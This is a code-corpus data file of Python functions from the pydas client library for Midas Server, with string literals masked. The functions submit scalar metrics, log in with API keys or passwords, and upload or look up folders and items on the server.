{"signature": "def add_scalar_data(self, token, community_id, producer_display_name,<EOL>metric_name, producer_revision, submit_time, value,<EOL>**kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = community_id<EOL>parameters['<STR_LIT>'] = producer_display_name<EOL>parameters['<STR_LIT>'] = metric_name<EOL>parameters['<STR_LIT>'] = producer_revision<EOL>parameters['<STR_LIT>'] = submit_time<EOL>parameters['<STR_LIT:value>'] = value<EOL>optional_keys = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>'<EOL>]<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = json.dumps(kwargs[key])<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters[key] = json.dumps(kwargs[key])<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>if kwargs[key]:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>if kwargs[key]:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>else:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Create a new scalar data point.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param community_id: The id of the community that owns the producer.\n:type community_id: int | long\n:param producer_display_name: The display name of the producer.\n:type producer_display_name: string\n:param metric_name: The metric name that identifies which trend this\n    point belongs to.\n:type metric_name: string\n:param producer_revision: The repository revision of the producer that\n    produced this value.\n:type producer_revision: int | long | string\n:param submit_time: The submit timestamp. Must be parsable with PHP\n    strtotime().\n:type submit_time: string\n:param value: The value of the scalar.\n:type value: float\n:param config_item_id: (optional) If this value pertains to a specific\n    configuration item, pass its id here.\n:type config_item_id: int | long\n:param test_dataset_id: (optional) If this value pertains to a\n    specific test dataset, pass its id here.\n:type test_dataset_id: int | long\n:param truth_dataset_id: (optional) If this value pertains to a\n    specific ground truth dataset, pass its id here.\n:type truth_dataset_id: int | long\n:param silent: (optional) If true, do not perform threshold-based email\n    notifications for this scalar.\n:type silent: bool\n:param unofficial: (optional) If true, creates an unofficial scalar\n    visible only to the user performing the submission.\n:type unofficial: bool\n:param build_results_url: (optional) A URL for linking to build results\n    for this submission.\n:type build_results_url: string\n:param branch: (optional) The branch name in the source repository for\n    this submission.\n:type branch: string\n:param submission_id: (optional) The id of the submission.\n:type submission_id: int | long\n:param submission_uuid: (optional) The uuid of the submission. If one\n    does not exist, it will be created.\n:type submission_uuid: string\n:type branch: string\n:param params: (optional) Any key/value pairs that should be displayed\n    with this scalar result.\n:type params: dict\n:param extra_urls: (optional) Other URL's that should be displayed with\n    with this scalar result. Each element of the list should be a dict\n    with the following keys: label, text, href\n:type extra_urls: list[dict]\n:param unit: (optional) The unit of the scalar value.\n:type unit: string\n:param reproduction_command: (optional) The command to reproduce this\n    scalar.\n:type reproduction_command: string\n:returns: The scalar object that was created.\n:rtype: dict", "id": "f8357:c7:m2"}
{"signature": "def upload_json_results(self, token, filepath, community_id,<EOL>producer_display_name, metric_name,<EOL>producer_revision, submit_time, **kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = community_id<EOL>parameters['<STR_LIT>'] = producer_display_name<EOL>parameters['<STR_LIT>'] = metric_name<EOL>parameters['<STR_LIT>'] = producer_revision<EOL>parameters['<STR_LIT>'] = submit_time<EOL>optional_keys = [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = json.dumps(kwargs[key])<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>parameters[key] = json.dumps(kwargs[key])<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>if kwargs[key]:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>if kwargs[key]:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT><DEDENT>file_payload = open(filepath, '<STR_LIT:rb>')<EOL>response = self.request('<STR_LIT>',<EOL>parameters, file_payload)<EOL>return response<EOL>", "docstring": "Upload a JSON file containing numeric scoring results to be added as\nscalars. File is parsed and then deleted from the server.\n\n:param token: A valid token for the user in question.\n:param filepath: The path to the JSON file.\n:param community_id: The id of the community that owns the producer.\n:param producer_display_name: The display name of the producer.\n:param producer_revision: The repository revision of the producer\n    that produced this value.\n:param submit_time: The submit timestamp. Must be parsable with PHP\n    strtotime().\n:param config_item_id: (optional) If this value pertains to a specific\n    configuration item, pass its id here.\n:param test_dataset_id: (optional) If this value pertains to a\n    specific test dataset, pass its id here.\n:param truth_dataset_id: (optional) If this value pertains to a\n    specific ground truth dataset, pass its id here.\n:param parent_keys: (optional) Semicolon-separated list of parent keys\n    to look for numeric results under. Use '.' to denote nesting, like\n    in normal javascript syntax.\n:param silent: (optional) If true, do not perform threshold-based email\n    notifications for this scalar.\n:param unofficial: (optional) If true, creates an unofficial scalar\n    visible only to the user performing the submission.\n:param build_results_url: (optional) A URL for linking to build results\n    for this submission.\n:param branch: (optional) The branch name in the source repository for\n    this submission.\n:param params: (optional) Any key/value pairs that should be displayed\n    with this scalar result.\n:type params: dict\n:param extra_urls: (optional) Other URL's that should be displayed with\n    with this scalar result. Each element of the list should be a dict\n    with the following keys: label, text, href\n:type extra_urls: list of dicts\n:returns: The list of scalars that were created.", "id": "f8357:c7:m3"}
{"signature": "def __init__(self, url, drivers=None):", "body": "if drivers is None:<EOL><INDENT>self._drivers = []<EOL>import inspect<EOL>base_driver_class = pydas.drivers.BaseDriver<EOL>for name, obj in inspect.getmembers(pydas.drivers):<EOL><INDENT>if inspect.isclass(obj):<EOL><INDENT>class_hierarchy = inspect.getmro(obj)<EOL>if base_driver_class in class_hierarchy andobj != base_driver_class:<EOL><INDENT>instance = obj(url)<EOL>self._drivers.append(instance)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>self._drivers = drivers<EOL><DEDENT>self._url = url<EOL>", "docstring": "Constructor. Takes the URL of the Midas Server instance and an optional\nlist of drivers to use.\n\n:param url: URL of the server\n:type url: string\n:param drivers: (optional) list of drivers to be attached to this\n    communicator\n:type drivers: None | list [T <= pydas.drivers.BaseDriver]", "id": "f8358:c0:m0"}
{"signature": "def __getattr__(self, name):", "body": "for driver in self.drivers:<EOL><INDENT>if hasattr(driver, name):<EOL><INDENT>return getattr(driver, name)<EOL><DEDENT><DEDENT>raise AttributeError('<STR_LIT>'<EOL>.format(type(self).__name__, name))<EOL>", "docstring": "Called when a function does not exist in the class. Pass the call down\nto one of the registered drivers.\n\n:raises AttributeError: if there is no function with the given name in\n    any of the drivers", "id": "f8358:c0:m1"}
{"signature": "@property<EOL><INDENT>def drivers(self):<DEDENT>", "body": "return self._drivers<EOL>", "docstring": "Get the list of drivers attached to this communicator.\n\n:returns: list of drivers\n:rtype: list[T <= pydas.drivers.BaseDriver]", "id": "f8358:c0:m2"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "if len(self.drivers) > <NUM_LIT:0>:<EOL><INDENT>return self.drivers[<NUM_LIT:0>].url<EOL><DEDENT>else:<EOL><INDENT>return self._url<EOL><DEDENT>", "docstring": "Return the URL of the server.\n\n:returns: URL of the server\n:rtype: string", "id": "f8358:c0:m3"}
{"signature": "@url.setter<EOL><INDENT>def url(self, value):<DEDENT>", "body": "for driver in self.drivers:<EOL><INDENT>driver.url = value<EOL><DEDENT>", "docstring": "Set the URL of the server in all drivers attached to this communicator.\n\n:param value: URL of the server\n:type value: string", "id": "f8358:c0:m4"}
{"signature": "@property<EOL><INDENT>def debug(self):<DEDENT>", "body": "return all(driver.debug for driver in self.drivers)<EOL>", "docstring": "Return whether the debug state of every driver is True.\n\n:returns: True if the debug state of every driver is True\n:rtype: bool", "id": "f8358:c0:m5"}
{"signature": "@debug.setter<EOL><INDENT>def debug(self, value):<DEDENT>", "body": "for driver in self.drivers:<EOL><INDENT>driver.debug = value<EOL><DEDENT>", "docstring": "Set the debug state of all of drivers attached to this communicator.\n\n:param value: debug state of all drivers\n:type value: bool", "id": "f8358:c0:m6"}
{"signature": "@property<EOL><INDENT>def verify_ssl_certificate(self):<DEDENT>", "body": "return all(driver.verify_ssl_certificate for driver in self.drivers)<EOL>", "docstring": "Return whether the SSL certificate will be verified for all drivers\nattached to this communicator.\n\n:returns: True if the SSL certificate will be verified for every driver\n:rtype: bool", "id": "f8358:c0:m7"}
{"signature": "@verify_ssl_certificate.setter<EOL><INDENT>def verify_ssl_certificate(self, value):<DEDENT>", "body": "for driver in self.drivers:<EOL><INDENT>driver.verify_ssl_certificate = value<EOL><DEDENT>", "docstring": "Set whether the SSL certificate will be verified.\n\n:param value: If True, the SSL certificate will be verified\n:type value: bool", "id": "f8358:c0:m8"}
{"signature": "def set_auth(self, value):", "body": "for driver in self.drivers:<EOL><INDENT>driver.auth = value<EOL><DEDENT>", "docstring": "Set the authentication in all drivers attached to this communicator.\n\n:param value: authentication tuple to be passed to requests.request()\n:type value: None | tuple", "id": "f8358:c0:m9"}
{"signature": "def login(email=None, password=None, api_key=None, application='<STR_LIT>',<EOL>url=None, verify_ssl_certificate=True):", "body": "try:<EOL><INDENT>input_ = raw_input<EOL><DEDENT>except NameError:<EOL><INDENT>input_ = input<EOL><DEDENT>if url is None:<EOL><INDENT>url = input_('<STR_LIT>')<EOL><DEDENT>url = url.rstrip('<STR_LIT:/>')<EOL>if session.communicator is None:<EOL><INDENT>session.communicator = Communicator(url)<EOL><DEDENT>else:<EOL><INDENT>session.communicator.url = url<EOL><DEDENT>session.communicator.verify_ssl_certificate = verify_ssl_certificate<EOL>if email is None:<EOL><INDENT>email = input_('<STR_LIT>')<EOL><DEDENT>session.email = email<EOL>if api_key is None:<EOL><INDENT>if password is None:<EOL><INDENT>password = getpass.getpass()<EOL><DEDENT>session.api_key = session.communicator.get_default_api_key(<EOL>session.email, password)<EOL>session.application = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>session.api_key = api_key<EOL>session.application = application<EOL><DEDENT>return renew_token()<EOL>", "docstring": "Do the legwork of logging into the Midas Server instance, storing the API\nkey and token.\n\n:param email: (optional) Email address to login with. If not set, the\n    console will be prompted.\n:type email: None | string\n:param password: (optional) User password to login with. If not set and no\n    'api_key' is set, the console will be prompted.\n:type password: None | string\n:param api_key: (optional) API key to login with. If not set, password\n    login with be used.\n:type api_key: None | string\n:param application: (optional) Application name to be used with 'api_key'.\n:type application: string\n:param url: (optional) URL address of the Midas Server instance to login\n    to. If not set, the console will be prompted.\n:type url: None | string\n:param verify_ssl_certificate: (optional) If True, the SSL certificate will\n    be verified\n:type verify_ssl_certificate: bool\n:returns: API token.\n:rtype: string", "id": "f8359:m0"}
{"signature": "def renew_token():", "body": "session.token = session.communicator.login_with_api_key(<EOL>session.email, session.api_key, application=session.application)<EOL>if len(session.token) < <NUM_LIT:10>:  <EOL><INDENT>one_time_pass = getpass.getpass('<STR_LIT>')<EOL>session.token = session.communicator.mfa_otp_login(<EOL>session.token, one_time_pass)<EOL><DEDENT>return session.token<EOL>", "docstring": "Renew or get a token to use for transactions with the Midas Server\ninstance.\n\n:returns: API token.\n:rtype: string", "id": "f8359:m1"}
{"signature": "def verify_credentials():", "body": "if session.token is not None:<EOL><INDENT>return session.token<EOL><DEDENT>elif session.api_key is not None:<EOL><INDENT>return renew_token()<EOL><DEDENT>else:<EOL><INDENT>return login()<EOL><DEDENT>", "docstring": "Check if the current credentials are valid and login or renew as needed.\n\n:returns: API token.\n:rtype: string", "id": "f8359:m2"}
{"signature": "def add_item_upload_callback(callback):", "body": "session.item_upload_callbacks.append(callback)<EOL>", "docstring": "Pass a function to be called when an item is created. This can be quite\nuseful for performing actions such as notifications of upload progress as\nwell as calling additional API functions.\n\n:param callback: A function that takes three arguments. The first argument\n    is the communicator object of the current pydas context, the second is\n    the currently active API token and the third is the id of the item that\n    was created to result in the callback function's invocation.\n:type callback: (Communicator, string, int) -> unknown", "id": "f8359:m3"}
{"signature": "def add_item_download_callback(callback):", "body": "session.item_download_callbacks.append(callback)<EOL>", "docstring": "Pass a function to be called when an item has finished downloading.\nThis can be used for performing notifications of download progress or\ncalling additional API functions.\n\n:param callback: A function that takes four arguments. The first argument\n    is the communicator object of the current pydas context, the second is\n    the currently active API token and the third is the dict of item info,\n    the fourth argument is the local download path of the item.\n:type callback: (Communicator, string, dict, string) -> unknown", "id": "f8359:m4"}
{"signature": "def add_folder_download_callback(callback):", "body": "session.folder_download_callbacks.append(callback)<EOL>", "docstring": "Pass a function to be called when an folder has finished downloading,\nwhich happens after all of its items and recursive children folders\nhave downloaded.\nThis can be used for performing notifications of download progress or\ncalling additional API functions.\n\n:param callback: A function that takes four arguments. The first argument\n    is the communicator object of the current pydas context, the second is\n    the currently active API token, the third is the dict of folder info,\n    the fourth argument is the local download path of the folder.\n:type callback: (Communicator, string, dict, string) -> unknown", "id": "f8359:m5"}
{"signature": "def allow_existing_download_paths():", "body": "session.allow_existing_download_paths = True<EOL>", "docstring": "Allow the download to continue if any download paths already\nexit, instead of excepting.", "id": "f8359:m6"}
{"signature": "def _create_or_reuse_item(local_file, parent_folder_id, reuse_existing=False):", "body": "local_item_name = os.path.basename(local_file)<EOL>item_id = None<EOL>if reuse_existing:<EOL><INDENT>children = session.communicator.folder_children(<EOL>session.token, parent_folder_id)<EOL>items = children['<STR_LIT>']<EOL>for item in items:<EOL><INDENT>if item['<STR_LIT:name>'] == local_item_name:<EOL><INDENT>item_id = item['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if item_id is None:<EOL><INDENT>new_item = session.communicator.create_item(<EOL>session.token, local_item_name, parent_folder_id)<EOL>item_id = new_item['<STR_LIT>']<EOL><DEDENT>return item_id<EOL>", "docstring": "Create an item from the local file in the Midas Server folder corresponding\nto the parent folder id.\n\n:param local_file: full path to a file on the local file system\n:type local_file: string\n:param parent_folder_id: id of parent folder on the Midas Server instance,\n    where the item will be added\n:type parent_folder_id: int | long\n:param reuse_existing: (optional) whether to accept an existing item of the\n    same name in the same location, or create a new one instead\n:type reuse_existing: bool", "id": "f8359:m7"}
{"signature": "def _create_or_reuse_folder(local_folder, parent_folder_id,<EOL>reuse_existing=False):", "body": "local_folder_name = os.path.basename(local_folder)<EOL>folder_id = None<EOL>if reuse_existing:<EOL><INDENT>children = session.communicator.folder_children(<EOL>session.token, parent_folder_id)<EOL>folders = children['<STR_LIT>']<EOL>for folder in folders:<EOL><INDENT>if folder['<STR_LIT:name>'] == local_folder_name:<EOL><INDENT>folder_id = folder['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if folder_id is None:<EOL><INDENT>new_folder = session.communicator.create_folder(session.token,<EOL>local_folder_name,<EOL>parent_folder_id)<EOL>folder_id = new_folder['<STR_LIT>']<EOL><DEDENT>return folder_id<EOL>", "docstring": "Create a folder from the local file in the midas folder corresponding to\nthe parent folder id.\n\n:param local_folder: full path to a directory on the local file system\n:type local_folder: string\n:param parent_folder_id: id of parent folder on the Midas Server instance,\n    where the folder will be added\n:type parent_folder_id: int | long\n:param reuse_existing: (optional) whether to accept an existing folder of\n   the same name in the same location, or create a new one instead\n:type reuse_existing: bool", "id": "f8359:m8"}
{"signature": "def _streaming_file_md5(file_path):", "body": "md5 = hashlib.md5()<EOL>with open(file_path, '<STR_LIT:rb>') as f:<EOL><INDENT>for chunk in iter(lambda: f.read(<NUM_LIT> * md5.block_size), b'<STR_LIT>'):<EOL><INDENT>md5.update(chunk)<EOL><DEDENT><DEDENT>return md5.hexdigest()<EOL>", "docstring": "Create and return a hex checksum using the MD5 sum of the passed in file.\nThis will stream the file, rather than load it all into memory.\n\n:param file_path: full path to the file\n:type file_path: string\n:returns: a hex checksum\n:rtype: string", "id": "f8359:m9"}
{"signature": "def _create_bitstream(file_path, local_file, item_id, log_ind=None):", "body": "checksum = _streaming_file_md5(file_path)<EOL>upload_token = session.communicator.generate_upload_token(<EOL>session.token, item_id, local_file, checksum)<EOL>if upload_token != '<STR_LIT>':<EOL><INDENT>log_trace = '<STR_LIT>'.format(file_path)<EOL>session.communicator.perform_upload(<EOL>upload_token, local_file, filepath=file_path, itemid=item_id)<EOL><DEDENT>else:<EOL><INDENT>log_trace = '<STR_LIT>''<STR_LIT>'.format(file_path)<EOL><DEDENT>if log_ind is not None:<EOL><INDENT>log_trace += log_ind<EOL><DEDENT>print(log_trace)<EOL>", "docstring": "Create a bitstream in the given item.\n\n:param file_path: full path to the local file\n:type file_path: string\n:param local_file: name of the local file\n:type local_file: string\n:param log_ind: (optional) any additional message to log upon creation of\n    the bitstream\n:type log_ind: None | string", "id": "f8359:m10"}
{"signature": "def _upload_as_item(local_file, parent_folder_id, file_path,<EOL>reuse_existing=False):", "body": "current_item_id = _create_or_reuse_item(local_file, parent_folder_id,<EOL>reuse_existing)<EOL>_create_bitstream(file_path, local_file, current_item_id)<EOL>for callback in session.item_upload_callbacks:<EOL><INDENT>callback(session.communicator, session.token, current_item_id)<EOL><DEDENT>", "docstring": "Function for doing an upload of a file as an item. This should be a\nbuilding block for user-level functions.\n\n:param local_file: name of local file to upload\n:type local_file: string\n:param parent_folder_id: id of parent folder on the Midas Server instance,\n    where the item will be added\n:type parent_folder_id: int | long\n:param file_path: full path to the file\n:type file_path: string\n:param reuse_existing: (optional) whether to accept an existing item of the\n    same name in the same location, or create a new one instead\n:type reuse_existing: bool", "id": "f8359:m11"}
{"signature": "def _create_folder(local_folder, parent_folder_id):", "body": "new_folder = session.communicator.create_folder(<EOL>session.token, os.path.basename(local_folder), parent_folder_id)<EOL>return new_folder['<STR_LIT>']<EOL>", "docstring": "Function for creating a remote folder and returning the id. This should be\na building block for user-level functions.\n\n:param local_folder: full path to a local folder\n:type local_folder: string\n:param parent_folder_id: id of parent folder on the Midas Server instance,\n    where the new folder will be added\n:type parent_folder_id: int | long\n:returns: id of the remote folder that was created\n:rtype: int | long", "id": "f8359:m12"}
{"signature": "def _upload_folder_recursive(local_folder,<EOL>parent_folder_id,<EOL>leaf_folders_as_items=False,<EOL>reuse_existing=False):", "body": "if leaf_folders_as_items and _has_only_files(local_folder):<EOL><INDENT>print('<STR_LIT>'.format(local_folder))<EOL>_upload_folder_as_item(local_folder, parent_folder_id, reuse_existing)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'.format(local_folder))<EOL>new_folder_id = _create_or_reuse_folder(local_folder, parent_folder_id,<EOL>reuse_existing)<EOL>for entry in sorted(os.listdir(local_folder)):<EOL><INDENT>full_entry = os.path.join(local_folder, entry)<EOL>if os.path.islink(full_entry):<EOL><INDENT>continue<EOL><DEDENT>elif os.path.isdir(full_entry):<EOL><INDENT>_upload_folder_recursive(full_entry,<EOL>new_folder_id,<EOL>leaf_folders_as_items,<EOL>reuse_existing)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'.format(full_entry))<EOL>_upload_as_item(entry,<EOL>new_folder_id,<EOL>full_entry,<EOL>reuse_existing)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Function to recursively upload a folder and all of its descendants.\n\n:param local_folder: full path to local folder to be uploaded\n:type local_folder: string\n:param parent_folder_id: id of parent folder on the Midas Server instance,\n    where the new folder will be added\n:type parent_folder_id: int | long\n:param leaf_folders_as_items: (optional) whether leaf folders should have\n    all files uploaded as single items\n:type leaf_folders_as_items: bool\n:param reuse_existing: (optional) whether to accept an existing item of the\n    same name in the same location, or create a new one instead\n:type reuse_existing: bool", "id": "f8359:m13"}
{"signature": "def _has_only_files(local_folder):", "body": "return not any(os.path.isdir(os.path.join(local_folder, entry))<EOL>for entry in os.listdir(local_folder))<EOL>", "docstring": "Return whether a folder contains only files. This will be False if the\nfolder contains any subdirectories.\n\n:param local_folder: full path to the local folder\n:type local_folder: string\n:returns: True if the folder contains only files\n:rtype: bool", "id": "f8359:m14"}
{"signature": "def _upload_folder_as_item(local_folder, parent_folder_id,<EOL>reuse_existing=False):", "body": "item_id = _create_or_reuse_item(local_folder, parent_folder_id,<EOL>reuse_existing)<EOL>subdir_contents = sorted(os.listdir(local_folder))<EOL>filecount = len(subdir_contents)<EOL>for (ind, current_file) in enumerate(subdir_contents):<EOL><INDENT>file_path = os.path.join(local_folder, current_file)<EOL>log_ind = '<STR_LIT>'.format(ind + <NUM_LIT:1>, filecount)<EOL>_create_bitstream(file_path, current_file, item_id, log_ind)<EOL><DEDENT>for callback in session.item_upload_callbacks:<EOL><INDENT>callback(session.communicator, session.token, item_id)<EOL><DEDENT>", "docstring": "Upload a folder as a new item. Take a folder and use its base name as the\nname of a new item. Then, upload its containing files into the new item as\nbitstreams.\n\n:param local_folder: The path to the folder to be uploaded\n:type local_folder: string\n:param parent_folder_id: The id of the destination folder for the new item.\n:type parent_folder_id: int | long\n:param reuse_existing: (optional) whether to accept an existing item of the\n    same name in the same location, or create a new one instead\n:type reuse_existing: bool", "id": "f8359:m15"}
{"signature": "def upload(file_pattern, destination='<STR_LIT>', leaf_folders_as_items=False,<EOL>reuse_existing=False):", "body": "session.token = verify_credentials()<EOL>parent_folder_id = None<EOL>user_folders = session.communicator.list_user_folders(session.token)<EOL>if destination.startswith('<STR_LIT:/>'):<EOL><INDENT>parent_folder_id = _find_resource_id_from_path(destination)<EOL><DEDENT>else:<EOL><INDENT>for cur_folder in user_folders:<EOL><INDENT>if cur_folder['<STR_LIT:name>'] == destination:<EOL><INDENT>parent_folder_id = cur_folder['<STR_LIT>']<EOL><DEDENT><DEDENT><DEDENT>if parent_folder_id is None:<EOL><INDENT>print('<STR_LIT>'<EOL>.format(user_folders[<NUM_LIT:0>]['<STR_LIT:name>']))<EOL>parent_folder_id = user_folders[<NUM_LIT:0>]['<STR_LIT>']<EOL><DEDENT>for current_file in glob.iglob(file_pattern):<EOL><INDENT>current_file = os.path.normpath(current_file)<EOL>if os.path.isfile(current_file):<EOL><INDENT>print('<STR_LIT>'.format(current_file))<EOL>_upload_as_item(os.path.basename(current_file),<EOL>parent_folder_id,<EOL>current_file,<EOL>reuse_existing)<EOL><DEDENT>else:<EOL><INDENT>_upload_folder_recursive(current_file,<EOL>parent_folder_id,<EOL>leaf_folders_as_items,<EOL>reuse_existing)<EOL><DEDENT><DEDENT>", "docstring": "Upload a pattern of files. This will recursively walk down every tree in\nthe file pattern to create a hierarchy on the server. As of right now, this\nplaces the file into the currently logged in user's home directory.\n\n:param file_pattern: a glob type pattern for files\n:type file_pattern: string\n:param destination: (optional) name of the midas destination folder,\n    defaults to Private\n:type destination: string\n:param leaf_folders_as_items: (optional) whether leaf folders should have\n    all files uploaded as single items\n:type leaf_folders_as_items: bool\n:param reuse_existing: (optional) whether to accept an existing item of the\n    same name in the same location, or create a new one instead\n:type reuse_existing: bool", "id": "f8359:m16"}
{"signature": "def _descend_folder_for_id(parsed_path, folder_id):", "body": "if len(parsed_path) == <NUM_LIT:0>:<EOL><INDENT>return folder_id<EOL><DEDENT>session.token = verify_credentials()<EOL>base_folder = session.communicator.folder_get(session.token,<EOL>folder_id)<EOL>cur_folder_id = -<NUM_LIT:1><EOL>for path_part in parsed_path:<EOL><INDENT>cur_folder_id = base_folder['<STR_LIT>']<EOL>cur_children = session.communicator.folder_children(<EOL>session.token, cur_folder_id)<EOL>for inner_folder in cur_children['<STR_LIT>']:<EOL><INDENT>if inner_folder['<STR_LIT:name>'] == path_part:<EOL><INDENT>base_folder = session.communicator.folder_get(<EOL>session.token, inner_folder['<STR_LIT>'])<EOL>cur_folder_id = base_folder['<STR_LIT>']<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT><DEDENT>return cur_folder_id<EOL>", "docstring": "Descend a path to return a folder id starting from the given folder id.\n\n:param parsed_path: a list of folders from top to bottom of a hierarchy\n:type parsed_path: list[string]\n:param folder_id: The id of the folder from which to start the descent\n:type folder_id: int | long\n:returns: The id of the found folder or -1\n:rtype: int | long", "id": "f8359:m17"}
{"signature": "def _search_folder_for_item_or_folder(name, folder_id):", "body": "session.token = verify_credentials()<EOL>children = session.communicator.folder_children(session.token, folder_id)<EOL>for folder in children['<STR_LIT>']:<EOL><INDENT>if folder['<STR_LIT:name>'] == name:<EOL><INDENT>return False, folder['<STR_LIT>']  <EOL><DEDENT><DEDENT>for item in children['<STR_LIT>']:<EOL><INDENT>if item['<STR_LIT:name>'] == name:<EOL><INDENT>return True, item['<STR_LIT>']  <EOL><DEDENT><DEDENT>return False, -<NUM_LIT:1><EOL>", "docstring": "Find an item or folder matching the name. A folder will be found first if\nboth are present.\n\n:param name: The name of the resource\n:type name: string\n:param folder_id: The folder to search within\n:type folder_id: int | long\n:returns: A tuple indicating whether the resource is an item an the id of\n    said resource. i.e. (True, item_id) or (False, folder_id). Note that in\n    the event that we do not find a result return (False, -1)\n:rtype: (bool, int | long)", "id": "f8359:m18"}
{"signature": "def _find_resource_id_from_path(path):", "body": "session.token = verify_credentials()<EOL>parsed_path = path.split('<STR_LIT:/>')<EOL>if parsed_path[-<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>parsed_path.pop()<EOL><DEDENT>if path.startswith('<STR_LIT>'):<EOL><INDENT>parsed_path.pop(<NUM_LIT:0>)  <EOL>parsed_path.pop(<NUM_LIT:0>)  <EOL>name = parsed_path.pop(<NUM_LIT:0>)  <EOL>firstname, lastname = name.split('<STR_LIT:_>')<EOL>end = parsed_path.pop()<EOL>user = session.communicator.get_user_by_name(firstname, lastname)<EOL>leaf_folder_id = _descend_folder_for_id(parsed_path, user['<STR_LIT>'])<EOL>return _search_folder_for_item_or_folder(end, leaf_folder_id)<EOL><DEDENT>elif path.startswith('<STR_LIT>'):<EOL><INDENT>print(parsed_path)<EOL>parsed_path.pop(<NUM_LIT:0>)  <EOL>parsed_path.pop(<NUM_LIT:0>)  <EOL>community_name = parsed_path.pop(<NUM_LIT:0>)  <EOL>end = parsed_path.pop()<EOL>community = session.communicator.get_community_by_name(community_name)<EOL>leaf_folder_id = _descend_folder_for_id(parsed_path,<EOL>community['<STR_LIT>'])<EOL>return _search_folder_for_item_or_folder(end, leaf_folder_id)<EOL><DEDENT>else:<EOL><INDENT>return False, -<NUM_LIT:1><EOL><DEDENT>", "docstring": "Get a folder id from a path on the server.\n\nWarning: This is NOT efficient at all.\n\nThe schema for this path is:\npath := \"/users/<name>/\" | \"/communities/<name>\" , {<subfolder>/}\nname := <firstname> , \"_\" , <lastname>\n\n:param path: The virtual path on the server.\n:type path: string\n:returns: a tuple indicating True or False about whether the resource is an\n    item and id of the resource i.e. (True, item_id) or (False, folder_id)\n:rtype: (bool, int | long)", "id": "f8359:m19"}
